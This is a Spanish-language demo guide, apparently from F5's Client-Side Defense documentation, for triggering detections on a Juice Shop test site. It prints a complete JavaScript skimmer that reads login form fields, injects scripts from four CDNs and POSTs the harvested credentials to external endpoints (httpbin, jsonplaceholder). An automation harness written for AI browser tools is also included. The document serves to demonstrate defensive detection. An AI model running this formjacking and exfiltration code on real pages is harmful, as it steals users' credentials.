Ir al contenido

Detección de disparadores

CSD monitorea el comportamiento de JavaScript dentro del navegador. A diferencia del Firewall de aplicaciones web (WAF) o la Defensa Bot, no es posible activar la detección de CSD con comandos curl — requiere actividad real de scripts en el lado del cliente. El siguiente script combinado activa las tres señales de detección de CSD en una sola ejecución: recolección de campos de formulario, inyección de scripts de terceros desde múltiples dominios CDN y exfiltración de datos a endpoints externos.

  1. Navegue a la página de inicio de sesión de Juice Shop en https://botdemo.sales-demo.f5demos.com/#/login

  2. Ingrese credenciales ficticias en los campos del formulario — escriba test@example.com en el campo Email y P@ssword123 en el campo Password (no envíe el formulario)

  3. Abra DevTools (F12 → pestaña Console)

    Consola DevTools vacía lista para ingresar el scriptConsola DevTools vacía lista para ingresar el script
  4. Pegue el siguiente script en la consola y presione Enter — se ejecuta automáticamente como una función autoejecutada

    Combined Detection Script
    // CSD Demo — Combined Detection Script
    // Triggers ALL CSD detection signals: field reads, script injection, exfiltration
    (function() {
    console.log('='.repeat(50));
    console.log('[CSD Demo] Combined Detection Script — Starting');
    console.log('='.repeat(50));
    // Phase 1: Harvest all form fields (CSD tracks field reads on page-load DOM fields)
    console.log('\n[Formjack] Phase 1: Form field harvesting');
    var inputs = document.querySelectorAll('input');
    var harvested = {};
    inputs.forEach(function(input) {
    var name = input.name || input.id || input.type;
    harvested[name] = input.value || '(empty)';
    });
    console.log('[Formjack] Harvested ' + Object.keys(harvested).length + ' fields:', harvested);
    // Phase 2: Inject third-party scripts from 4 CDN domains
    console.log('\n[Supply Chain] Phase 2: Multi-CDN script injection');
    var cdns = [
    { url: 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', name: 'jsdelivr' },
    { url: 'https://esm.sh/moment@2.30.1', name: 'esm.sh' },
    { url: 'https://unpkg.com/underscore@1.13.7/underscore-min.js', name: 'unpkg' },
    { url: 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js', name: 'jspm' }
    ];
    cdns.forEach(function(cdn) {
    var script = document.createElement('script');
    script.src = cdn.url;
    script.onload = function() {
    console.log('[Supply Chain] Loaded from ' + cdn.name + ': ' + cdn.url);
    };
    script.onerror = function() {
    console.log('[Supply Chain] Blocked/failed from ' + cdn.name + ': ' + cdn.url);
    };
    document.head.appendChild(script);
    console.log('[Supply Chain] Injected script tag: ' + cdn.name);
    });
    // Phase 3: Exfiltrate harvested data to external endpoints
    console.log('\n[Exfil] Phase 3: Data exfiltration');
    var payload = JSON.stringify({
    type: 'combined_demo',
    credentials: harvested,
    page: window.location.href,
    timestamp: Date.now()
    });
    fetch('https://www.httpbin.org/post', {
    method: 'POST',
    mode: 'no-cors',
    body: payload
    }).then(function() {
    console.log('[Exfil] Data sent to www.httpbin.org');
    });
    fetch('https://jsonplaceholder.typicode.com/posts', {
    method: 'POST',
    mode: 'no-cors',
    headers: { 'Content-Type': 'application/json' },
    body: payload
    }).then(function() {
    console.log('[Exfil] Data sent to jsonplaceholder.typicode.com');
    });
    // Summary
    console.log('\n' + '='.repeat(50));
    console.log('[CSD Demo] Simulation complete');
    console.log('[CSD Demo] Fields harvested: ' + Object.keys(harvested).length);
    console.log('[CSD Demo] Scripts injected: ' + cdns.length + ' (4 CDN domains)');
    console.log('[CSD Demo] Exfil channels: 2 (fetch POST)');
    console.log('[CSD Demo] Detection takes 5-10 minutes to appear in the CSD console.');
    console.log('='.repeat(50));
    })();
  5. Observe la salida de consola por fases [CSD Demo] que confirma cada paso: recolección de campos, inyección de scripts desde 4 dominios CDN y exfiltración de datos. esm.sh sirve sintaxis de módulo ES (export default …) — cuando se carga como una etiqueta <script> clásica, esto provoca Uncaught SyntaxError: Cannot use import statement outside a module. Esto es esperado y no afecta la detección de CSD (la etiqueta del script sigue siendo inyectada y la solicitud de red sigue realizándose)

    Salida de consola tras ejecutar el script de simulaciónSalida de consola tras ejecutar el script de simulación

Los asistentes de IA con herramientas de automatización de navegador (MCP Chrome DevTools, Playwright, Puppeteer) ejecutan la simulación de forma programática en lugar de seguir los pasos manuales anteriores:

  1. Navegar con initScript — primero navegue a about:blank para garantizar un contexto de documento limpio, luego use navigate_page a la URL de la página de inicio de sesión (p. ej., http://$F5XC_DOMAINNAME/#/login) con un initScript que guarde los nativos setInterval, clearInterval, fetch y console.log antes de que zone.js los parchee, sondee los campos del formulario de inicio de sesión, rellene las credenciales mediante el setter nativo de HTMLInputElement.prototype.value y ejecute el Script de Detección Combinada en línea de inmediato. Utilice el initScript literal a continuación.
  2. Cerrar el banner de bienvenida — use press_key con Escape para cerrar el banner de bienvenida. En visitas posteriores, el banner puede no aparecer (cookies persistidas)
  3. Esperar la finalización — espere 10 segundos para que se completen todas las devoluciones de llamada de carga/error de scripts CDN y las resoluciones de promesas de fetch
  4. Capturar evidencia — use list_console_messages para verificar [CSD Demo] Simulation complete; list_network_requests filtrado por tipos script y fetch para verificar los códigos de estado HTTP

Arnés initScript (literal — envuelve el Script de Detección Combinada para ejecución automatizada):

// Save native references before zone.js patches them
var _si = window.setInterval.bind(window);
var _ci = window.clearInterval.bind(window);
var _fetch = window.fetch.bind(window);
var _log = window.console.log.bind(window.console);
// Poll for login form fields, fill credentials, run detection script
var _poll = _si(function() {
var emailEl = document.querySelector('input[type="email"]');
var passEl = document.querySelector('input[type="password"]');
if (emailEl && passEl) {
_ci(_poll);
// Fill credentials via native setter (bypasses zone.js)
var nativeSet = Object.getOwnPropertyDescriptor(
window.HTMLInputElement.prototype, 'value').set;
nativeSet.call(emailEl, 'test@example.com');
emailEl.dispatchEvent(new Event('input', { bubbles: true }));
nativeSet.call(passEl, 'P@ssword123');
passEl.dispatchEvent(new Event('input', { bubbles: true }));
// Run Combined Detection Script inline using native fetch for exfil
(function() {
_log('==================================================');
_log('[CSD Demo] Combined Detection Script — Starting');
_log('==================================================');
_log('\n[Formjack] Phase 1: Form field harvesting');
var inputs = document.querySelectorAll('input');
var harvested = {};
inputs.forEach(function(input) {
var name = input.name || input.id || input.type;
harvested[name] = input.value || '(empty)';
});
_log('[Formjack] Harvested ' + Object.keys(harvested).length + ' fields:', harvested);
_log('\n[Supply Chain] Phase 2: Multi-CDN script injection');
var cdns = [
{ url: 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', name: 'jsdelivr' },
{ url: 'https://esm.sh/moment@2.30.1', name: 'esm.sh' },
{ url: 'https://unpkg.com/underscore@1.13.7/underscore-min.js', name: 'unpkg' },
{ url: 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js', name: 'jspm' }
];
cdns.forEach(function(cdn) {
var script = document.createElement('script');
script.src = cdn.url;
script.onload = function() { _log('[Supply Chain] Loaded from ' + cdn.name + ': ' + cdn.url); };
script.onerror = function() { _log('[Supply Chain] Blocked/failed from ' + cdn.name + ': ' + cdn.url); };
document.head.appendChild(script);
_log('[Supply Chain] Injected script tag: ' + cdn.name);
});
_log('\n[Exfil] Phase 3: Data exfiltration');
var payload = JSON.stringify({
type: 'combined_demo', credentials: harvested,
page: window.location.href, timestamp: Date.now()
});
_fetch('https://www.httpbin.org/post', { method: 'POST', mode: 'no-cors', body: payload })
.then(function() { _log('[Exfil] Data sent to www.httpbin.org'); });
_fetch('https://jsonplaceholder.typicode.com/posts', {
method: 'POST', mode: 'no-cors',
headers: { 'Content-Type': 'application/json' }, body: payload
}).then(function() { _log('[Exfil] Data sent to jsonplaceholder.typicode.com'); });
_log('\n==================================================');
_log('[CSD Demo] Simulation complete');
_log('[CSD Demo] Fields harvested: ' + Object.keys(harvested).length);
_log('[CSD Demo] Scripts injected: 4 (4 CDN domains)');
_log('[CSD Demo] Exfil channels: 2 (fetch POST)');
_log('==================================================');
})();
}
}, 300);

Nota sobre fetch nativo: Este arnés guarda window.fetch.bind(window) para evitar errores de zone.js. Este es el comportamiento correcto para todas las fases de simulación de ataques. La mitigación de CSD bloquea la carga de scripts (limpiando los valores src de las etiquetas <script>), no las llamadas a fetch(), por lo que guardar la referencia nativa de fetch no afecta el comportamiento de mitigación. El mismo initScript se utiliza para la Fase 2 y la Fase 3.

Los operadores sin herramientas de automatización de navegador deben seguir los pasos manuales anteriores.

La simulación combinada activa las tres señales de detección de CSD:

ComportamientoQué hace el scriptQué detecta CSD
Recolección de camposLee los valores de los elementos input existentes (email, contraseña)Scripts que leen campos de formulario sensibles — marcados como Alto Riesgo
Inyección de scriptsAgrega 4 etiquetas <script> que cargan desde cdn.jsdelivr.net, esm.sh, unpkg.com y ga.jspm.io4 nuevos dominios de scripts de terceros en la página
Exfiltración de datosEnvía los datos recolectados mediante fetch a www.httpbin.org y jsonplaceholder.typicode.comLlamadas de red a dominios externos (nota: los destinos de fetch aparecen como interacciones de red de scripts, no en la vista de dominio de Red)

El script combinado anterior es una versión simplificada de 3 fases (recolectar, inyectar, exfiltrar) adecuada para la mayoría de las demostraciones. La Biblioteca de scripts de ataque proporciona 10 scripts específicos organizados por tipo de ataque, incluida una prueba de estrés de Detección máxima que agrega manipulación del DOM, exfiltración de cookies y canales de beacon de imagen además de la cobertura del script combinado. Use los scripts individuales para demostrar categorías de ataque específicas (formjacking, skimming digital, inyección en la cadena de suministro, exfiltración de datos, manipulación del DOM) de forma aislada.